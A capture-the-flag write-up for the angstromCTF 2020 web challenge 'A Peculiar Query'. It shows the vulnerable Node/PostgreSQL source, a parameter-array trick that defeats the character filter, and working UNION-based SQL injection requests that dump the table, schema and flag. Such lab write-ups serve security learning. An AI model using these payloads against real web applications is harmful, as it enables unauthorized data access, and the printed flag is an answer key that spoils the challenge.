# ▼▼▼A Peculiar Query(Web、180pts、74/1596=4.6%)▼▼▼This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
`https://peculiarquery.2020.chall.actf.co/src`
↓
```const express = require("express");const rateLimit = require("express-rate-limit");const app = express();const { Pool, Client } = require("pg");const port = process.env.PORT || 9090;const path = require("path");
const client = new Client({	user: process.env.DBUSER,	host: process.env.DBHOST,	database: process.env.DBNAME,	password: process.env.DBPASS,	port: process.env.DBPORT});
async function query(q) {	const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);	return ret;}
app.set("view engine", "ejs");
app.use(express.static("public"));
app.get("/src", (req, res) => {	res.sendFile(path.join(__dirname, "index.js"));});
app.get("/", async (req, res) => {	if (req.query.q) {		try {			let q = req.query.q;			// no more table dropping for you			let censored = false;			for (let i = 0; i < q.length; i ++) {				if (censored || "'-\".".split``.some(v => v == q[i])) {					censored = true;					q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);				}			}			q = q.substring(0, 80);			const result = await query(q);			res.render("home", {results: result.rows, err: ""});		} catch (err) {			console.log(err);			res.status(500);			res.render("home", {results: [], err: "aight wtf stop breaking things"});		}	} else {		res.render("home", {results: [], err: ""});	}});
app.listen(port, function() {	client.connect();	console.log("App listening on port " + port);});```
---
## 【Tried and error by building the local environment】
```GET /?q=ttttttt'ttt HTTP/1.1Host: my_server
```
↓
```q=ttttttt'tttlength: 11q80=ttttttt****ret=SELECT name FROM Criminals WHERE name ILIKE 'ttttttt****%';```
↓
Source code
```			// no more table dropping for you			let censored = false;			for (let i = 0; i < q.length; i ++) {				if (censored || "'-\".".split``.some(v => v == q[i])) {					censored = true;					q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);				}			}```
↓
If `'-".` Exists, it will be filled with `*`
---
Try sending in an array
↓
```GET /?q=1&q=2&q=3 HTTP/1.1Host: my_server```
↓
```q=1,2,3length: 3TypeError: q.substring is not a function    at /usr/src/index.js:49:10    at Layer.handle [as handle_request] (/usr/src/node_modules/express/lib/router/layer.js:95:5)    at next (/usr/src/node_modules/express/lib/router/route.js:137:13)    at Route.dispatch (/usr/src/node_modules/express/lib/router/route.js:112:3)    at Layer.handle [as handle_request] (/usr/src/node_modules/express/lib/router/layer.js:95:5)    at /usr/src/node_modules/express/lib/router/index.js:281:22    at Function.process_params (/usr/src/node_modules/express/lib/router/index.js:335:12)    at next (/usr/src/node_modules/express/lib/router/index.js:275:10)    at SendStream.error (/usr/src/node_modules/serve-static/index.js:121:7)```
↓
Arrays are concatenated,and Error in `q.substring`
↓
because q is not a String class
---
`q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);`　　⇒　`*` is String.　Avoid errors by concatenating String and characters to String Class 
↓
```GET /?q=1&q=2&q=3&q=' HTTP/1.1Host: my_server```
↓
```q=1,2,3,'length: 4q80=1,2,**ret=SELECT name FROM Criminals WHERE name ILIKE '1,2,**%';```
↓
I was able to avoid the error!!
---
## 【exploit】
```GET /?q=_%25%27--&q=&q=&q=&q=%27 HTTP/1.1Host: peculiarquery.2020.chall.actf.co```
↓
```Name	Criminal Recordclam	where's my million dollarskmh	where's my million dollarsboshua	where's my million dollarsderekthesnake	where's my million dollarsJoe	where's my million dollarsJohn	where's my million dollarsJack	where's my million dollarsJill	where's my million dollarsJonah	where's my million dollarsJeff	where's my million dollarsaplet123	where's my million dollars```
↓
All data was obtained.　`SQL injection` was done
---
```GET /?q=_%27union%20select%20version()--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%27 HTTP/1.1Host: peculiarquery.2020.chall.actf.co```
↓
```Name	Criminal RecordPostgreSQL 11.7 (Ubuntu 11.7-1.pgdg16.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit	where's my million dollars```
↓
`version()` was obtained
---
```GET /?q=_%27union%20select%20concat(TABLE_NAME,COLUMN_NAME)%20from%20information_schema.columns--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%27 HTTP/1.1Host: peculiarquery.2020.chall.actf.co```
↓
```～(Omitted)～				<tr><td>criminalscrime</td><td>where's my million dollars</td></tr>				<tr><td>criminalsname</td><td>where's my million dollars</td></tr>～(Omitted)～```
↓
Column name is `crime`
---
```GET /?q=_%27union%20select%20crime%20from%20Criminals--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%27 HTTP/1.1Host: peculiarquery.2020.chall.actf.co```
↓```～(Omitted)～actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}	～(Omitted)～```
↓
`actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}	`